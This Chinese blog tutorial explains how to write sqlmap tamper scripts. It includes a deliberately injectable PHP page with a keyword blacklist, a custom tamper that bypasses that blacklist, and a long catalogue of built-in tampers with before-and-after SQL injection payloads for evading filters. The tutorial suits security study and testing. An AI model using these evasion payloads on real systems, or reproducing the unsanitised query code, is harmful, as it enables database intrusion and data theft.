匆匆那年

钟声敲在你我耳边

0%

一篇文章搞懂sqlmap的tamper

发布： 分类： 本文字数： 9k 阅读时长 ≈ 8 分钟

sqlmap的tamper 怎么使用？

sqlmap -u [url] –tamper [模块名]

sqlmap的tamper怎么编写？

1
2
3
4
5
6
7
8
9
10
11
12
#Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
#See the file 'doc/COPYING' for copying permission
#Author:J8sec.com
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
     pass

def tamper(payload, **kwargs):
      pass

上面是一个tamper的完整结构结构，下面一一讲解其中的参数作用。

PROIORITY是定义tamper的优先级，如果你加载多个tamper，这个选项就有用了，谁的优先级高，谁被优先使用。

  • LOWEST = -100
  • LOWER = -50
  • LOW = -10
  • NORMAL = 0
  • HIGH = 10
  • HIGHER = 50
  • HIGHEST = 100

dependencie，这个参数主要是起到提示作用，你可以写，也可以不写，但是如果你写的话，最好按照他的文档来写，它的标准示例是这样的：

1
2
def dependencies():
    singleTimeWarnMessage("此tamper '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

DBMS.MYSQL这个参数代表的是Mysql，其他数据库的参数如下:

  • ACCESS = “Microsoft Access”
  • DB2 = “IBM DB2”
  • FIREBIRD = “Firebird”
  • MAXDB = “SAP MaxDB”
  • MSSQL = “Microsoft SQL Server”
  • MYSQL = “MySQL”
  • ORACLE = “Oracle”
  • PGSQL = “PostgreSQL”
  • SQLITE = “SQLite”
  • SYBASE = “Sybase”
  • HSQLDB = “HSQLDB”
    下面就是最最重要的

tamper ，这个是脚本最重要的函数，你的所有绕过替换都是在这里编写的。它有一个payload参数，这个参数就是你的sqlmap进行自动注入时的sql语句，你需要的就是替换这个payload，来完成自己想要的绕过。后面还有 kwargs 这个是修改http头里的内容函数，举个例子：

1
2
3
4
5
6
# sqlmap/tamper/vanrish.py
# 修改X-originating-IP
def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

sqlmap的tamper编写

我这里简单搭建了一个php：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$connection = mysqli_connect("localhost","root","root","test");
$id=$_GET["id"];
$query="select name from tamper where id=".$id.";";
//echo $query;
//定义一个黑名单
$black_list=array("select","and"," ","/*","*/");
//计算数组长度
$num = count($black_list);
//循环校验是否有黑名单内的字符串
for($i=0;$i<$num;$i++){
	if(strstr($id,$black_list[$i])){
		die("hack,get out"); //黑名单里面的单词、字符不允许出现。
	}
	else{
		pass;
	}
}
$result=$connection->query($query);
if ($result) {
    if($result->num_rows>0){ //判断结果集中行的数目是否大于0
        while($row =$result->fetch_array() ){ //循环输出结果集中的记录
            echo ($row[0])."<br>";
        }
    }
}else {
    echo "查询失败";
}
$result->free();
$connection->close();
?>

上面的代码可以看到过滤了select、and、空格、/* 和 */。直接用sqlmap是无法跑出来的，所以我们需要编写tamper，直接贴上我编写的tamper，因为太简单了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
auth: geez  
blog: geeeez.github.io
"""

import os
import string

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
     pass

def tamper(payload, **kwargs):
    if payload:
        payload = payload.replace("select","SELECT")
        payload = payload.replace("and","AND")
        payload = payload.replace(" ","%09")
        return payload

1569575157332

为什么空格要过滤成%09呢？因为+和%20到后台都是空格，会被过滤%09不会（因为他不是空格），但是它可以当空格用。

以上就是tamper的编写，非常简单，但是如果想写好tamper还是需要很深的python功底，你可以不用replace进行替换，可以在tamper函数中进行正则的匹配，URL编码、动态替换等等方式，具体能利用成什么样子，看你的技巧了，记住tamper函数只需要最后返回一个payload，你的payload怎么得来的他不管，你用python任何的语法它都可以支持，最终它只要你的payload，说这么多是提醒大家别被示例限制了想象力。

sqlmap自带tamper

sqlmap自带的tamper有时候也比较好用，所以下面就罗列了出来。

适用数据库：ALL
作用：将引号替换为utf-8，用于过滤单引号
使用脚本前：tamper(“1 AND ‘1’=’1”)
使用脚本后：1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

base64encode.py
适用数据库：ALL
作用：替换为base64编码
使用脚本前：tamper(“1’ AND SLEEP(5)#”)
使用脚本后：MScgQU5EIFNMRUVQKDUpIw==

multiplespaces.py
适用数据库：ALL
作用：围绕sql关键字添加多个空格
使用脚本前：tamper(‘1 UNION SELECT foobar’)
使用脚本后：1 UNION SELECT foobar

space2plus.py
适用数据库：ALL
作用：用加号替换空格
使用脚本前：tamper(‘SELECT id FROM users’)
使用脚本后：SELECT+id+FROM+users

nonrecursivereplacement.py
适用数据库：ALL
作用：作为双重查询语句，用双重语句替代预定义的sql关键字（适用于非常弱的自定义过滤器，例如将select替换为空）
使用脚本前：tamper(‘1 UNION SELECT 2–’)
使用脚本后：1 UNIOUNIONN SELESELECTCT 2–

space2randomblank.py
适用数据库：ALL
作用：将空格替换为其他有效字符
使用脚本前：tamper(‘SELECT id FROM users’)
使用脚本后：SELECT%0Did%0DFROM%0Ausers

unionalltounion.py
适用数据库：ALL
作用：将union allselect 替换为unionselect
使用脚本前：tamper(‘-1 UNION ALL SELECT’)
使用脚本后：-1 UNION SELECT

securesphere.py
适用数据库：ALL
作用：追加特定的字符串
使用脚本前：tamper(‘1 AND 1=1’)
使用脚本后：1 AND 1=1 and ‘0having’=’0having’

space2dash.py
适用数据库：ALL
作用：将空格替换为–，并添加一个随机字符串和换行符
使用脚本前：tamper(‘1 AND 9227=9227’)
使用脚本后：1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227

space2mssqlblank.py
适用数据库：Microsoft SQL Server
测试通过数据库：Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用：将空格随机替换为其他空格符号(‘%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
使用脚本前：tamper(‘SELECT id FROM users’)
使用脚本后：SELECT%0Eid%0DFROM%07users

between.py
测试通过数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用：用NOT BETWEEN 0 AND #替换>
使用脚本前：tamper(‘1 AND A > B–’)
使用脚本后：1 AND A NOT BETWEEN 0 AND B–

percentage.py
适用数据库：ASP
测试通过数据库：Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用：在每个字符前添加一个%
使用脚本前：tamper(‘SELECT FIELD FROM TABLE’)
使用脚本后：%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

sp_password.py
适用数据库：MSSQL
作用：从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
使用脚本前：tamper(‘1 AND 9227=9227– ‘)
使用脚本后：1 AND 9227=9227– sp_password

charencode.py
测试通过数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用：对给定的payload全部字符使用url编码（不处理已经编码的字符）
使用脚本前：tamper(‘SELECT FIELD FROM%20TABLE’)
使用脚本后：%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

randomcase.py
测试通过数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用：随机大小写
使用脚本前：tamper(‘INSERT’)
使用脚本后：INseRt

charunicodeencode.py
适用数据库：ASP、ASP.NET
测试通过数据库：Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用：适用字符串的unicode编码
使用脚本前：tamper(‘SELECT FIELD%20FROM TABLE’)
使用脚本后：%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

space2comment.py
测试通过数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用：将空格替换为//
使用脚本前：tamper(‘SELECT id FROM users’)
使用脚本后：SELECT//id//FROM//users

equaltolike.py
测试通过数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用：将=替换为LIKE
使用脚本前：tamper(‘SELECT * FROM users WHERE id=1’)
使用脚本后：SELECT * FROM users WHERE id LIKE 1

equaltolike.py
测试通过数据库：MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用：将>替换为GREATEST，绕过对>的过滤
使用脚本前：tamper(‘1 AND A > B’)
使用脚本后：1 AND GREATEST(A,B+1)=A

ifnull2ifisnull.py
适用数据库：MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库：MySQL 5.0 and 5.5
作用：将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A)，绕过对IFNULL的过滤
使用脚本前：tamper(‘IFNULL(1, 2)’)
使用脚本后：IF(ISNULL(1),2,1)

modsecurityversioned.py
适用数据库：MySQL
测试通过数据库：MySQL 5.0
作用：过滤空格，使用mysql内联注释的方式进行注入
使用脚本前：tamper(‘1 AND 2>1–’)
使用脚本后：1 /!30874AND 2>1/–

space2mysqlblank.py
适用数据库：MySQL
测试通过数据库：MySQL 5.1
作用：将空格替换为其他空格符号(‘%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)
使用脚本前：tamper(‘SELECT id FROM users’)
使用脚本后：SELECT%0Bid%0DFROM%0Cusers

modsecurityzeroversioned.py
适用数据库：MySQL
测试通过数据库：MySQL 5.0
作用：使用内联注释方式（/!00000/）进行注入
使用脚本前：tamper(‘1 AND 2>1–’)
使用脚本后：1 /!00000AND 2>1/–

space2mysqldash.py
适用数据库：MySQL、MSSQL
作用：将空格替换为 – ，并追随一个换行符
使用脚本前：tamper(‘1 AND 9227=9227’)
使用脚本后：1–%0AAND–%0A9227=9227

bluecoat.py
适用数据库：Blue Coat SGOS
测试通过数据库：MySQL 5.1,、SGOS
作用：在sql语句之后用有效的随机空白字符替换空格符，随后用LIKE替换=
使用脚本前：tamper(‘SELECT id FROM users where id = 1’)
使用脚本后：SELECT%09id FROM users where id LIKE 1

versionedkeywords.py
适用数据库：MySQL
测试通过数据库：MySQL 4.0.18, 5.1.56, 5.5.11
作用：注释绕过
使用脚本前：tamper(‘1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’)
使用脚本后：1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#

halfversionedmorekeywords.py
适用数据库：MySQL < 5.1
测试通过数据库：MySQL 4.0.18/5.0.22
作用：在每个关键字前添加mysql版本注释
使用脚本前：tamper(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”)
使用脚本后：value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa

space2morehash.py
适用数据库：MySQL >= 5.1.13
测试通过数据库：MySQL 5.1.41
作用：将空格替换为#，并添加一个随机字符串和换行符
使用脚本前：tamper(‘1 AND 9227=9227’)
使用脚本后：1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

apostrophenullencode.py
适用数据库：ALL
作用：用非法双字节Unicode字符替换单引号
使用脚本前：tamper(“1 AND ‘1’=’1”)
使用脚本后：1 AND %00%271%00%27=%00%271

appendnullbyte.py
适用数据库：ALL
作用：在有效载荷的结束位置加载null字节字符编码
使用脚本前：tamper(‘1 AND 1=1’)
使用脚本后：1 AND 1=1%00

chardoubleencode.py
适用数据库：ALL
作用：对给定的payload全部字符使用双重url编码（不处理已经编码的字符）
使用脚本前：tamper(‘SELECT FIELD FROM%20TABLE’)
使用脚本后：%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

unmagicquotes.py
适用数据库：ALL
作用：用一个多字节组合%bf%27和末尾通用注释一起替换空格
使用脚本前：tamper(“1’ AND 1=1”)
使用脚本后：1%bf%27 AND 1=1–

randomcomments.py
适用数据库：ALL
作用：用注释符分割sql关键字
使用脚本前：tamper(‘INSERT’)
使用脚本后：I//N//SERT


采用署名-非商业性使用-相同方式共享 4.0（CC BY-NC-SA 4.0）许可协议
「分享也是一种学习」